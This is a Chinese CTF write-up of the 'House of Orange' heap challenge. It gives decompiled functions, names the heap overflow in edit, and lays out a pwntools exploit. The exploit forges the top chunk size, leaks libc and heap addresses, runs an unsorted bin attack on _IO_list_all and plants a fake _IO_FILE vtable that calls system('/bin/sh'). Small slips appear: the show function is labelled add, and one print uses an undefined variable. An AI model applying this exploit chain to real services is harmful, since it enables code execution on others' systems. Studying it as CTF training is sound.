安全检查
IDA查看
main
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
signed int chocie; // eax
init_n();
while ( 1 )
{
while ( 1 )
{
menue();
chocie = read_buf();
if ( chocie != 2 )
break;
show();
}
if ( chocie > 2 )
{
if ( chocie == 3 )
{
edit();
}
else
{
if ( chocie == 4 )
{
puts("give up");
exit(0);
}
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( chocie != 1 )
goto LABEL_14;
add();
}
}
}
add函数
int add()
{
unsigned int size; // [rsp+8h] [rbp-18h]
signed int size_4; // [rsp+Ch] [rbp-14h]
void *house; // [rsp+10h] [rbp-10h]
_DWORD *v4; // [rsp+18h] [rbp-8h]
if ( house_count > 3u )
{
puts("Too many house");
exit(1);
}
house = malloc(0x10uLL);
printf("Length of name :");
size = read_buf();
if ( size > 0x1000 )
size = 4096;
*((_QWORD *)house + 1) = malloc(size);
if ( !*((_QWORD *)house + 1) )
{
puts("Malloc error !!!");
exit(1);
}
printf("Name :");
read_name(*((void **)house + 1), size);
v4 = calloc(1uLL, 8uLL);
printf("Price of Orange:");
*v4 = read_buf();
print_color();
printf("Color of Orange:");
size_4 = read_buf();
if ( size_4 != 0xDDAA && (size_4 <= 0 || size_4 > 7) )
{
puts("No such color");
exit(1);
}
if ( size_4 == 0xDDAA )
v4[1] = 0xDDAA;
else
v4[1] = size_4 + 30;
*(_QWORD *)house = v4;
host_ptr = house;
++house_count;
return puts("Finish");
}
show函数
int add()
{
char *v0; // rsi
int result; // eax
int v2; // eax
if ( !host_ptr )
return puts("No such house !");
if ( *(_DWORD *)(*host_ptr + 4LL) == 0xDDAA )
{
printf("Name of house : %s\n", host_ptr[1]);
printf("Price of orange : %d\n", *(unsigned int *)*host_ptr);
v0 = qword_203080[rand() % 8];
result = printf("\x1B[01;38;5;214m%s\x1B[0m\n");
}
else
{
if ( *(_DWORD *)(*host_ptr + 4LL) <= 30 || *(_DWORD *)(*host_ptr + 4LL) > 37 )
{
puts("Color corruption!");
exit(1);
}
printf("Name of house : %s\n", host_ptr[1]);
printf("Price of orange : %d\n", *(unsigned int *)*host_ptr);
v2 = rand();
result = printf("\x1B[%dm%s\x1B[0m\n", *(unsigned int *)(*host_ptr + 4LL), qword_203080[v2 % 8]);
}
return result;
}
edit函数
int edit()
{
_DWORD *v1; // rbx
unsigned int name_len; // [rsp+8h] [rbp-18h]
signed int v3; // [rsp+Ch] [rbp-14h]
if ( upgread_count > 2u )
return puts("You can't upgrade more");
if ( !host_ptr )
return puts("No such house !");
printf("Length of name :");
name_len = read_buf();
if ( name_len > 0x1000 )
name_len = 4096;
printf("Name:");
read_name((void *)host_ptr[1], name_len);
printf("Price of Orange: ");
v1 = (_DWORD *)*host_ptr;
*v1 = read_buf();
print_color();
printf("Color of Orange: ");
v3 = read_buf();
if ( v3 != 0xDDAA && (v3 <= 0 || v3 > 7) )
{
puts("No such color");
exit(1);
}
if ( v3 == 0xDDAA )
*(_DWORD *)(*host_ptr + 4LL) = 0xDDAA;
else
*(_DWORD *)(*host_ptr + 4LL) = v3 + 30;
++upgread_count;
return puts("Finish");
}
总结
edit函数,存在堆溢出,在add时申请小于0x1000大小的house,在edit时可以输入大于0x1000的数字。
每次只能edit刚刚申请的house
没有free函数
调试分析
build第一个house,然后堆溢出修改top chunk的size为0xf81
build(0x30,'a'*8,123,1)
payload = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf81)
upgrade(len(payload),payload,123,2)
budild第二个house,触发sysmalloc中的_int_free
budild第二个house大小为0x1000>0xf81 ,触发sysmalloc中的_int_free,将top chunk放入unsorted bin中,此时top chunk的fd和bk指针均指向unsorted bin(av)
build(0x1000,'b',123,1)
build第三个house,泄露地址
build一个0x400大小的house,再给name字段分配空间时,会从上一步unsorted bin里的top chunk 中分割0x400大小的chunk 返还给我们。
#malloc largechunk to use old_top
#leak libc_base
build(0x400,'a'*8,123,1)
see()
p.recvuntil("a"*8)
libc_addr= u64(p.recv(6).ljust(8,'\x00'))
libc_base = libc_addr -0x3c5188
print "libc base address -->[%s]"%hex(libc_base)
#malloc largechunk again
#leak heap_base
upgrade(0x400,'a'*16,123,1)
see()
p.recvuntil('a'*16)
heap_addr= u64(p.recv(6).ljust(8,'\x00'))
heap_base = heap_addr - 0xe0
print "leak_heap -->[%s]"%hex(leak_heap)
print "heap_base -->[%s]"%hex(heap_base)
_IO_list_all = libc_base +libc.symbols['_IO_list_all']
system = libc.symbols['system'] + libc_base
由于0x400输入largebin范围,而将chunk 放入largebin链表中的时候,该chunk的fdnextsize与bknextsize会填入本身的地址。借此同时泄露unsortedbin(av)与heap的地址,通过固定偏移,计算libc_base与heap_base。然后计算system地址和_IO_list_all地址,_IO_list_all指向了__IO_FILE结构体的链表。
....
victim->fd_nextsize = victim->bk_nextsize = victim;//将old_top的fd_nextsize和bk_nextsize都指向old_top本身//将old_top加入largebin链表中
构造fake __IO_FILE结构体
首先填充到top chunk分配largebin后的top chunk处
payload = 'a'*0x400
#填充分配个price字段的0x10大小的chunk
payload += p64(0) + p64(0x21) + 'a'*0x10
构造fake __IO_FILE结构体,top chunk 减去上面申请的large bin之后的top chunk的size字段设置为0x61,使bk指针=p64(_IO_list_all - 0x10),通过unsorted bin attack 使得IO_list_all=unsorted_chunks (av)=&unsortbin-0x10,距离smallbin[4]的偏移是0x60。IO_FILE偏移0x60的字段是struct _IO_marker *_markers,偏移0x68的字段是struct _IO_FILE *_chain。而这两个的值恰恰是old_top的起始地址。改为0x61是为了将old_top加入smallbin[4],而smallbin[4]的fd和bk指针恰好对应于IO_FILE结构体中的_markers和_chain字段。
#old_top_chunk=_IO_FILE
fake_file = '/bin/sh\x00' + p64(0x61)
fake_file += p64(0) + p64(_IO_list_all - 0x10)
然后bypass check
fake_file += p64(0) + p64(1) #
#bypass check
#_IO_FILE fp
#fp->_IO_write_base < fp->_IO_write_ptr (offset *(0x20)<*(0x28))
#fp->_mode<=0 (offset *(0xc8)<=0)
fake_file = fake_file.ljust(0xc0,'\x00')
libc.2.23.so中vtable_ptr的偏移为0xd8,所以payload填充到0xd8,然后vtable_ptr赋值为heap_base + 0x5f0,即payload += p64(0)*3
地址处,然后将overflow函数(下标为3, 0,1,2,3)的地址覆盖为system函数的地址。
payload += fake_file
payload += p64(0)*3
#0xc0+0x18=0xd8
#_IO_jump_t *ptr_vtable
#file_adr+0xd8=&ptr_vtable
#vtable[3]=overflow_adr
#gdb.attach(p)
payload += p64(heap_base + 0x5f0)#ptr_vtable
payload += p64(0)*3#vtable
payload += p64(system)#vtable[3]
upgrade(0x800,payload,123,1)
上一步修改了top chunk的size为0x61,old top chunk就会链入到smallbin[4],同时,unsortbin.bk也被改写成了&IO_list_all-0x10,所以此时的victim->size=0,调用malloc函数再分配一个chunk,就会触发malloc_printerr异常,
触发异常后,系统会遍历IO_llist_all,最终调用 IO_overflow函数,而此时IO_overflow表项为system函数的地址
函数大致调用链
mallloc_printerr-> __libc_message—>abort->flush->_IO_flush_all_lock->_IO_OVERFLOW
而_IO_OVERFLOW最后会调用vtable表中的__overflow 函数
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
触发漏洞
p.recv()
p.sendline('1')
#malloc size<=2*SIZE_SZ
#malloc(0x10) -> malloc_printerr ->overflow(IO_list_all) ->system('/bin/sh')
p.interactive()